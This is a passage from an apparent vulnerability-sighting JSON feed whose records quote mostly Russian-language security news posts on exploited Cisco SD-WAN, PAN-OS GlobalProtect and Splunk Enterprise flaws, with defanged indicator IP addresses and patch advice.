\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u00a0su \u043a\u043e\u043c\u0430\u043d\u0434\u0443 Linux \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 \u0432\u043d\u043e\u0432\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c root, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c Mandiant, \u043d\u0430\u043f\u0430\u0434\u0430\u0432\u0448\u0438\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434\u044b, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0434\u0430\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u0427\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 CSV-\u0444\u0430\u0439\u043b, \u0443\u0434\u0430\u043b\u0438\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0430\u0442\u0430\u043a\u0438, \u0438 \u0441\u0442\u0435\u0440\u0435\u0432 \u0441\u043b\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 root.\n\nMandiant \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0438\u0440\u0438\u043d\u0433\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0438 \u043a \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0440\u0430\u043d\u0435\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nCisco \u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0447\u0442\u043e \u0432\u0437\u043b\u043e\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20182, \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b, \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 IOCs, IP \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-13T13:00:07.394564Z"}, {"uuid": "13f7f0a0-52c0-40f0-ba91-e6fbb9d7b264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/true_secator/8309", "content": "Palo Alto Networks \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PAN-OS \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u00a0\u043f\u043e\u0440\u0442\u0430\u043b\u0430\u043c\u00a0GlobalProtect.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e\u00a0CVE-2026-0257\u00a0(CVSS: 7,8), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0448\u043b\u044e\u0437\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f PAN-OS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u044d\u0442\u043e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0432 \u0445\u043e\u0434\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 17 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430. \u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u044d\u0442\u0438\u043c\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u0438\u043b\u0438\u00a0\u0432 Palo Alto Networks, \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438. \u041b\u0438\u0448\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 VPN-\u0441\u0435\u0441\u0441\u0438\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043a \u0448\u043b\u044e\u0437\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0435 IOCs, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u044d\u0442\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e: \n\n- IP-\u0430\u0434\u0440\u0435\u0441\u0430: 23.128.228[.]6, 104.207.144[.]154, 146.19.216[.]119, 146.19.216[.]120, 146.19.216[.]125, 179.43.172[.]213, 185.195.232[.]139, 198.12.106[.]60 \u0438 202.144.192[.]47;\n- \u0418\u043c\u0435\u043d\u0430 \u0445\u043e\u0441\u0442\u043e\u0432 \u0438 MAC-\u0430\u0434\u0440\u0435\u0441\u0430: aa:bb:cc:dd:ee:ff, 00:11:22:33:44:55, WINDOWS-LAPTOP-001, DESKTOP-GP01 \u0438 GP-CLIENT.\n\nPalo Alto Networks \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 GlobalProtect \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0448\u043b\u044e\u0437\u0443, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b: \n- endpoint_os_version: Microsoft Windows 10 Pro 64-bit;\n- source_user_info.domain : empty.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Palo Alto \u0441 PAN-OS\u2019\u043e\u043c, \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Splunk Enterprise, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2026-20253 (\u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 9,8).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0438 \u0434\u0430\u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430. \n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Splunk Enterprise \u043d\u0438\u0436\u0435 10.2.4 \u0438 10.0.7 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0433 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0443\u0441\u0435\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 \u0441\u043b\u0443\u0436\u0431\u044b-\u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a\u0430 PostgreSQL. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u043b\u0443\u0436\u0431\u044b-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 PostgreSQL, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 \u043f\u043e \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445: 10.0.0-10.0.6 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 10.0.7), 10.2.0-10.2.3 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 10.2.4), 10.4 (\u043d\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e).\n\nSplunk, \u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Cisco, \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Splunk Cloud, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432 \u044d\u0442\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f sidecar-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b Postgres.\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 watchTowr Labs \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430\u00a0\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20253. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u0441\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c.", "creation_timestamp": "2026-07-13T13:00:08.330388Z"}, {"uuid": "1f191ac0-ded1-45b0-a2c6-ddd293cd185e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20744", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqjr2zxhao2v", "content": "A critical privilege escalation flaw (CVE-2026-20744) affects Hydro-Qu\u00e9bec EV charging stations. Learn how this vulnerability impacts the backend.\n\n#CVE202620744 #CyberSecurity #HydroQuebec #EVSecurity #Vulnerability", "creation_timestamp": "2026-07-13T13:06:26.905040Z"}, {"uuid": "c90ea10b-23d2-4644-a08c-3606e755f06c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "exploited", "source": "https://t.me/xakep_ru/19547", "content": "Cisco \u043f\u0430\u0442\u0447\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 SD-WAN\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447\u0438 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20262 \u0432 Catalyst SD-WAN Manager (\u0440\u0430\u043d\u0435\u0435 SD-WAN vManage). \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root. \u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2026 \u0433\u043e\u0434\u0430 \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Cisco SD-WAN, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nhttps://xakep.ru/2026/06/19/sd-wan-patch/", "creation_timestamp": "2026-07-13T14:00:04.366022Z"}, {"uuid": "15d028cf-642e-436c-aa21-216ea4572925", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20871", "type": "seen", "source": "https://infosec.exchange/users/0patch/statuses/116913919468226933", "content": "Micropatches released for Desktop Window Manager Elevation of Privilege Vulnerability (CVE-2026-20871)https://0patch.com/blog/micropatches-released-for-desktop-window-manager-elevation-of-privilege-vulnerabi", "creation_timestamp": "2026-07-13T17:47:16.639199Z"}, {"uuid": "ec07d4ee-4dbf-48e1-8fb7-86a220fcbcc6", 